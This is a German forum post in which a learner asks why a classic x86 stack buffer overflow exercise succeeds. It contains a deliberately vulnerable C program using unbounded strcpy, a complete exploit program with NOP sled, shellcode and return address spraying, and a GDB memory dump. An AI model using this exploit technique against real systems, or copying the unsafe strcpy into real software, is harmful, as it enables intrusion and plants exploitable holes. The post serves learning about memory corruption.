Frage zu Buffer Overflow Angriff mit C und GDB x86



  • Hallo,
    ich habe ein Verständnisproblem beim Buffer Overflow Angriff.
    Das Programm vuln.c hat ein char-Puffer, der 500 Zeichen speichern kann. Das Programm exploit.c erzeugt eine Eingabe, die 600 Zeichen hat, bestehend aus NOP-Codes am Anfang, dann der Shellcode(sagt nur "hello") und die Rücksprungadresse.
    Beides wird kompiliert und exploit wird ohne Argument gestartet und „hello“ wird auch ausgegeben. Ich frage mich, wieso es funktioniert.
    Folgendes verstehe ich nicht.
    Bei so einer Eingabe zeigt doch der EIP auf die Adresse 0xbffff844 oder nicht? Das bringt mir nichts. Ich will ja, dass der EIP mit einer Adresse zwischen 0x804a008-0x804a0d0 geladen wird, da mit in NOP-Bereich oder direkt mit der Adtresse des Shellcodes geladen wird.
    Was hat es mit der Adresse 0xbffff844 auf sich? Ich kann damit nichts anfangen. An der Adresse 0xbffff844 steht nichts besonderes: 0x00000025.
    Das GDB-Protokoll zeigt u.a. den Endzustand von buffer, bevor der Aufruf von vuln ausgeführt wird.

    /* vuln.c */
    int main(int argc, char *argv[]) {
       char buffer[500];
       strcpy(buffer, argv[1]);
       return 0;
    }
    
    /*exploit.c*/
    #include <stdlib.h>
    #include <stdio.h>
    
    //Der Shellcode spuckt “hello“ aus
    char shellcode[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"\
                                 "\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";
    
    int main(int argc, char *argv[])
    {
          int i, offset=0;
          long ret, *addr_ptr;
          char *buffer, *ptr;
          ret=&i;
          if (argc>1)
          ret=&i-atoi(argv[1]);
          printf("Desired Return Adresse: 0x%x\n",ret);
          buffer=malloc(600);
          ptr=buffer;
          addr_ptr=(long *) ptr;
          for (i=0; i<600; i+=4)
               *(addr_ptr++)=ret;
          for (i=0;i<200;i++)
               buffer[i]='\x90';
          ptr=buffer+200;
          for (i=0; i<strlen(shellcode);i++)
               *(ptr++)=shellcode[i];
          buffer[600-1]=0;
    
          execl("./vuln", "vuln", buffer,0);
          free(buffer);
          return 0;
    }
    

    GDB-Protokoll:

    gdb -q exploit
    Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
    (gdb) break 26
    Breakpoint 1 at 0x8048529: file exploit.c, line 26.
    (gdb) run
    Starting program: /home/a/booksrc/exploit
    Desired Return Adresse: 0xbffff844
    
    Breakpoint 1, main (argc=1, argv=0xbffff8d4) at exploit.c:26
    26            execl("./vuln", "vuln", buffer,0);
    (gdb) x/x buffer
    0x804a008:      0x90909090
    (gdb) x/150xw buffer
    0x804a008:      0x90909090      0x90909090      0x90909090      0x90909090
    .
    .
    .
    0x804a0b8:      0x90909090      0x90909090      0x90909090      0x90909090
    0x804a0c8:      0x90909090      0x90909090      0xc03119eb      0xd231db31
    0x804a0d8:      0x04b0c931      0xb25901b3      0x3180cd05      0x3101b0c0
    0x804a0e8:      0xe880cddb      0xffffffe2      0x6c6c6568      0xbffff86f
    0x804a0f8:      0xbffff844      0xbffff844      0xbffff844      0xbffff844
    0x804a108:      0xbffff844      0xbffff844      0xbffff844      0xbffff844
    0x804a118:      0xbffff844      0xbffff844      0xbffff844      0xbffff844
    .
    .
    .
    0x804a238:      0xbffff844      0xbffff844      0xbffff844      0xbffff844
    0x804a248:      0xbffff844      0xbffff844      0xbffff844      0xbffff844
    0x804a258:      0xbffff844      0x00fff844
    (gdb) x/x ret
    0xbffff844:     0x00000025
    

Anmelden zum Antworten